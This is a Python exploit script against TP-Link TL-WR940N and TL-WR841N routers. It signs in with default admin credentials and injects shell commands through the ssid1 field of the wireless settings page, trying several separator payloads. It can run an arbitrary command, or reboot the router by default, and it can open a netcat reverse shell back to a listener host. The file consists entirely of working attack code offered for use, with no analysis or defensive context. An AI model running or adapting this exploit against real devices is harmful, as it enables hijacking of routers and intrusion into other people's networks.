import requests import argparse import base64 import urllib import time class TPExploit: def __init__(self, target, username, password, lhost=None, lport=None): self.target = target self.auth = f"{username}:{password}" self.auth_header = f"Basic {base64.b64encode(self.auth.encode()).decode()}" self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0', 'Authorization': self.auth_header, 'Referer': f'http://{self.target}/userRpm/WlanNetworkRpm.htm' }) self.lhost = lhost self.lport = lport def get_random_path(self): """Try to get the random path used in newer firmware""" try: r = self.session.get(f"http://{self.target}/") if r.status_code == 200 and 'href="' in r.text: for line in r.text.split('\n'): if 'href="' in line and 'userRpm' in line: path = line.split('href="')[1].split('/userRpm')[0] return path except: pass return None def test_vulnerability(self, command="reboot"): """Test if the router is vulnerable""" paths_to_try = [""] random_path = self.get_random_path() if random_path: paths_to_try.append(random_path) payloads = [ f"TP-LINK_000012||{command}", f";{command};", f"a;{command}", f"a;{command};" ] for path in paths_to_try: for payload in payloads: try: url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm" params = { 'ssid1': payload, 'ssid2': 'test', 'ssid3': 'test', 'ssid4': 'test', 'Save': 'Save' } r = self.session.get(url, params=params, timeout=5) if r.status_code == 200: print(f"[+] Possible success with payload: {payload}") return True except requests.exceptions.RequestException: print(f"[+] Router may have executed command: {payload}") return True return False def get_shell(self): """Attempt to get a reverse shell""" if not self.lhost or not self.lport: print("[-] LHOST and LPORT required for reverse shell") return # Simple netcat reverse shell (may need to adjust based on router's available commands) reverse_shell_cmd = f"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {self.lhost} {self.lport} >/tmp/f" # URL encode the command encoded_cmd = urllib.parse.quote(reverse_shell_cmd) payload = f"a;{encoded_cmd};" print(f"[*] Trying to execute reverse shell to {self.lhost}:{self.lport}") try: path = self.get_random_path() or "" url = f"http://{self.target}/{path}/userRpm/WlanNetworkRpm.htm" params = { 'ssid1': payload, 'Save': 'Save' } # Don't wait for response since we're establishing a connection self.session.get(url, params=params, timeout=1) except: pass print("[*] Check your listener for a connection") def main(): parser = argparse.ArgumentParser(description="TP-Link TL-WR940N/TL-WR841N Exploit") parser.add_argument("-t", "--target", required=True, help="Target IP address") parser.add_argument("-u", "--username", default="admin", help="Router username") parser.add_argument("-p", "--password", default="admin", help="Router password") parser.add_argument("-c", "--command", help="Command to execute") parser.add_argument("--lhost", help="Listener IP for reverse shell") parser.add_argument("--lport", type=int, help="Listener port for reverse shell") args = parser.parse_args() exploit = TPExploit(args.target, args.username, args.password, args.lhost, args.lport) if args.command: print(f"[*] Executing command: {args.command}") exploit.test_vulnerability(args.command) elif args.lhost and args.lport: exploit.get_shell() else: print("[*] Testing for vulnerability (default command: reboot)") if exploit.test_vulnerability(): print("[!] Router is vulnerable!") else: print("[-] Router does not appear to be vulnerable") if __name__ == "__main__": main()